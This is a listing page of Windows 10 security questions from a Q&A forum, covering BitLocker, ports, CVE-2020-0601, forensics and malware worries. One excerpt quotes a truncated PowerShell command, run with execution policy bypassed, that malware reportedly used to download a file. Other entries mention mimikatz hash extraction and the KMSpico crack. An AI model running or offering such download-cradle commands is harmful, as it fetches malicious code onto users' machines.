Questions tagged [windows-10]

An operating system developed by Microsoft released July 2015 and designed to run across devices with multiple form factors - PC, tablet, smartphone, Xbox and HoloLens.

Filter by
Sorted by
Tagged with
1
vote
0answers
12 views

Can you help me recover my encrypted data? [migrated]

I have myself in a bit of a pickle. My primary hard drive is encrypted with Windows 10 Bitlocker, and the text file with my recovery key, on an external drive, has turned out to be encrypted with ...
1
vote
0answers
27 views

Implied network privileges on Windows 10 apps?

If an app in the Microsoft Store only has the "userNotificationListener" permission listed, will it be able to send data over the internet? On https://support.microsoft.com/en-us/help/10557/windows-...
0
votes
1answer
51 views

Windows 10 SSTP with self-signed certificates

I can't seem to get the Windows 10 sstp client to connect to the (router) sstp server I have tried numerous combinations when creating my self signed certificates (ca & server) but I have to ...
0
votes
0answers
41 views

Is “Hidden Network” just Wizard in System Tray [closed]

I was wondering if “Hidden Network” located in available networks when you click on WiFi in the system tray is just a set up wizard or an actual network not displaying its SSID? For instance if there ...
0
votes
1answer
28 views

Can programs see your windows account name given admin rights?

The windows account name can be seen as one the folders in C:\Users. Assuming you changed your windows account name to something different to the folder, can programs see your new windows account name ...
0
votes
0answers
43 views

Does a Windows 10 endpoint check software installations for malware if they are installed through GPO / SCCM / Software Center?

I'm trying to get a view on what extra security checks our packaging team could do when they download a potentially infected installer from the web before they package an MSI or EXE (assuming that the ...
0
votes
0answers
80 views

Can my employer see my browsing history with work account on my personal device

I was using Edge on my personal device at home browsing stuff and realised I was logged in on Bing.com with my Microsoft work account. I cleared my browser's browsing history and also Bing's browsing ...
0
votes
0answers
7 views

is it possible to connect a Windows 10 PC to a WiFi using a batch script? [migrated]

I need to connect my Windows 10 PC to a WiFi automatically to test the WEP-128 encryption mode in a router. Basically, when I change the encryption mode in the router, I need to connect the PC to its ...
0
votes
0answers
10 views

SSD not working anymore and windows not opening [migrated]

I’m struggling with a problem: the Windows suddenly stopped working when I connected the HDD with rack on my laptop. I’ve tried almost everything, so later on I have discovered after re-installing the ...
0
votes
0answers
43 views

Are all PAGE_EXECUTE_READWRITE are security risks?

I've used a dump program to get a snapshot of my memory on newly installed Win10x64 and then I've pip it into Volatility(Memory forensics Software) by running this command : python vol.py -f ...
0
votes
0answers
6 views

Veracrypt Dual Boot Linux and Windows? [migrated]

I know that Veracrypt only supports Dual Encryption on Windows. I am searching for a workaround: I am trying to dual boot Windows and Linux with encryption.
0
votes
1answer
78 views

How many actions do you need to take to disable DEP

I am attempting to disable DEP on a program that will be used in a demonstration of how a basic buffer overflow works. The application is a C++ app written in visual studio and I am running into ...
0
votes
1answer
57 views

Risk of specific changes to the “Trusted” security zone

Our EDI VAN provides software to transmit sensitive customer and business data between our ERP and their website. This software requires that I add several URLs (including one plain HTTP) to the "...
1
vote
1answer
194 views

What ports should be closed in windows 10?

How can I close ports in windows 10 and what ports are unnecessary to be open? How do I find these open ports to close? Also if I close a specific port on windows 10 do I have to close the outbound ...
1
vote
1answer
116 views

How exactly does Windows Defender in Windows 10 determine when to upload your local files to Microsoft?

Every time I install Windows 10, I painstakingly go through every setting that can be found in any GUI setting for the OS, disabling everything that sounds creepy. One of the most disturbing things I'...
0
votes
0answers
44 views

“Something you have” on a multi-user device - what is the opinion regarding the NIST AAL3 definition?

The NIST AAL3 specification requires In order to authenticate at AAL3, claimants SHALL prove possession and control of two distinct authentication factors through secure authentication ...
1
vote
0answers
41 views

Why did something on my Win10 machine try to fetch a Windows patch-looking EXE from localhost today? (UPDATED)

[Tue Feb 11 10:37:00 2020] 127.0.0.1:49951 [404]: (null) /c/msdownload/update/software/defu/2020/02/am_delta_patch_1.309.678.0_2ed0992bc429bfc321a0209f24dcd8912733a2a5.exe - No such file or directory ...
1
vote
0answers
78 views

How should I install Kali Linux on my Windows 10?

I'm using Windows 10. I found several ways to install Kali Linux on Win10: Install it on VMWare Install it on Docker Install it on Linux subsystem (WSL) I might need to access some files in my ...
0
votes
0answers
72 views

Mimikatz Windows 10 password recovery

I'm trying to log into my Windows 10 laptop that was using a Microsoft login. I used to mimikatz to retrieve the SAMkey, LSA secret, dpapi, System masterkeys, and the password hash but it's the ...
1
vote
1answer
60 views

Secure Windows 10 Home admin's data behind a password, even when user apps are running

Windows 10 Home's default account lock system for the admin account is not completely secure because there are multiple free password recovery tools & ways available that can be used by a non-...
2
votes
2answers
135 views

USB device security in Windows

Am I really understanding things correctly if I claim that: If a USB stick/device is inserted into a PC running Windows, currently in "lock screen" mode (that is, somebody has pressed WinKey + L), it ...
0
votes
0answers
54 views

Is it safe to use cmdkey to store credentials?

In this question I saw that you can use command key to store credentials and then just run a command like mstsc /v:servername to connect to it without typing anything. Additionally, you can delete it ...
1
vote
1answer
219 views

Does a lack of verified signatures for Windows Defender indicate malware?

I ran "autoruns" from Windows Sysinternals on a Windows 10 machine, and noticed that the Windows Defender services were marked in red colour, and did not have verified signatures. I checked these ...
0
votes
1answer
59 views

Dealing with File Permissions from a Virtual Machine - Forensic Logical Acquisition

I am currently in the middle of operating an analysis on Autopsy of a virtual machine (VMware) that has been hacked. I have mounted the VM and I am acquiring the evidence from VMware to my physical ...
1
vote
0answers
172 views

Why does Volatility fail on windows 10 dumps and what other tools can I use? [closed]

So I am trying to extract data from a full memory dump (Made with either dumpit or a BSOD). WinDBG manages to extract some information from it, but Volatility is silent: PS F:\> C:\Python27\python....
0
votes
1answer
108 views

CVE-2020-0601 (CRYPT32.DLL exploit) standalone patch? [duplicate]

Is there any standalone patch for CVE-2020-0601 (CRYPT32.DLL exploit) besides installing Windows 10 latest cumulative update? Or is there other ways to mitigate this exploit, when immediate ...
9
votes
1answer
237 views

How does CVE-2020-0601 (ChainOfFools/CurveBall) work to undermine ECC?

What is the recently patched and disclosed Windows 10 OS family Crypt.dll vulnerability CVE-2020-0601, nicknamed ChainOfFools and/or Curveball? I've read up on it and while I understand the basics (...
0
votes
1answer
178 views

Show confirmation popup before running any downloaded program in Windows 10

I often download files either using my browser or by torrenting. Few times, I encountered an attack where the torrented file was called something like movie.mp4.lnk and the target was set to run a ...
2
votes
1answer
245 views

How to ensure Windows 10 is safe from critical security hole reported by NSA on 2020-01-14?

All over the news today (2020-01-14) is the story that the NSA and Microsoft have reported a critical security vulnerability in Windows 10. But I haven't been able to find clear instructions about ...
0
votes
1answer
54 views

security concerns when configuring Windows 10 to automatically log into a Microsoft account-linked user account

I have just configured my Windows 10 desktop PC at home to automatically log into my Windows 10 user account that my Microsoft account is linked to on startup. My desktop is in my bedroom upstairs and ...
0
votes
1answer
34 views

How to protect Server running on Windows 10 with Node Ngrok against attackers?

I'm running https://ngrok.com/ on Windows 10 pro with a custom app made on Node server running locally (can't be Linux) for a test suite that uses both web and desktop integrated. So I'm basically ...
1
vote
2answers
902 views

How to securely erase the free space on an SSD in windows 10?

I would like to wipe ALL free space on my SSD which Windows 10 is installed on, so that no previously deleted file can be recovered. How can I achieve this?
0
votes
0answers
85 views

Could this be considered lateral movement or is this normal activity?

Has anyone encountered this type of logon (4624 Type 3). The accounts are logging on then off within a few seconds. We are noticing this activity in the morning, which would be when they start working....
0
votes
2answers
161 views

Is it risky to download but not use a zip file?

Is there any possibility of malware infection in Windows 10 for the following three situations: When you download a zipped file, but do not use it (you do not open it)? When you only open a zipped ...
1
vote
2answers
119 views

why encryption result using 3 des is different between website and openssl commander?

I am working with OpenSSL using Windows 10 CMD. I am trying to encrypt something using triple des with key coded in base64 that stored in text file (assume that plain text is:"hi all I am someone", ...
1
vote
0answers
40 views

saving entire Windows event log for auditing & preserve digital evidence

As an admin one gets tasked with configuring [Microsoft Windows 10] computers so that auditing is enabled and captures all events as required by some list that's already defined and handed down. ...
2
votes
1answer
167 views

Would my USB interface be infected if I attached and immediately detached an infected USB device?

Two days ago, someone gave me their pen drive to copy some songs from. As soon as I inserted the drive into my laptop's USB interface, Windows Defender immediately warned me that the drive was ...
1
vote
1answer
169 views

Risk of contamination when network discovery is on + file sharing password?

We use the Windows 10 file/folder sharing feature to share files between two computers (A and B) that are on the same wifi network. In this network there are several infected computers (computers C). ...
1
vote
0answers
37 views

WMI Performance Adapter function for Chrome browser?

Does someone know why the WMI Performance Adapter (WmiApSrv.exe) always starts when launching Chrome browser? Whats the function of this service? I have heared this service can be maliciously used to ...
3
votes
0answers
90 views

Secure way to install windows 10 and winscp,notepad++,wamp on new laptop

I have a project with very critical information from business clients. I will buy a new laptop for this to manage/handle/analyze that information. All I need is: WAMP to run php script only on ...
-1
votes
1answer
563 views

How trustworthy is KMSpico? [closed]

KMSpico is a very common tool to crack Windows. It is considered malware by many malware/virus detection programs. Even so, it is very popular as far as I've seen. Download links I found: https://...
5
votes
1answer
2k views

LastPass installer scary message about sideloading

I've been using LastPass for years, generally through the original Chrome extension. In recent months, certain features of the extension have been totally broken, such as the ability to share ...
2
votes
1answer
206 views

Why is home Windows 10 machine listening on port 8080 by default?

Ever since we upgraded one of our home windows machines to Windows 10, Kaspersky has been logging blocked network intrusion attempts over port 8080. The exploit is a strange one and tries to hit a ...
0
votes
0answers
24 views

random domain name when RDP'ing windows 10 (with rohos otp)

I'm using rohos logon key for my RDP login, and I randomly see unknown domainname prefix after I enter my otp: is this normal when using rohos logon key? my connection is through VPN (with separate ...
0
votes
0answers
58 views

Why is smartscreen.exe trying to create `Bob the Builder - Bob Builds a Park.exe` on my computer?

I just finished using the Sysinternals tool called procmon.exe to determine which files were being used during a program's installation. I used the procmon filters to show me only file events in a ...
6
votes
1answer
179 views

Was granting myself this permission a security risk?

In a PowerShell script in Windows 10 Pro 64, I'm getting access-denied errors on several folders, such as: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content....
0
votes
0answers
41 views

Windows 10 invalidated PIN for three accounts out of four

I have a Windows 10 Pro 1903 with four accounts: two are for adult users and two for children one adult account is admin account, three remaining are standard users accounts, all four are Microsoft ...
0
votes
0answers
28 views

My PC opens command line and tries to download some virus [duplicate]

I have some weird virus. During school today it opened my command line and typed this stuff in: cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://...
1
vote
1answer
125 views

Is encrypting the FireFox folder with EFS protecting saved passwords in case of someone accessing the hard drive?

What I want to do: Use the "save password" feature in FireFox (on Windows 10) without using FireFox's master password feature. What I'm afraid of: Someone stealing my laptop or getting access to my ...
2
votes
0answers
345 views

Can an Android Phone be used as a Windows Hello Security Key?

Microsoft Windows 10 does support physical security keys since some time. Google recently announced that Android phones can be used as security keys as well (primarily for their own services). Is ...

1
2 3 4 5 6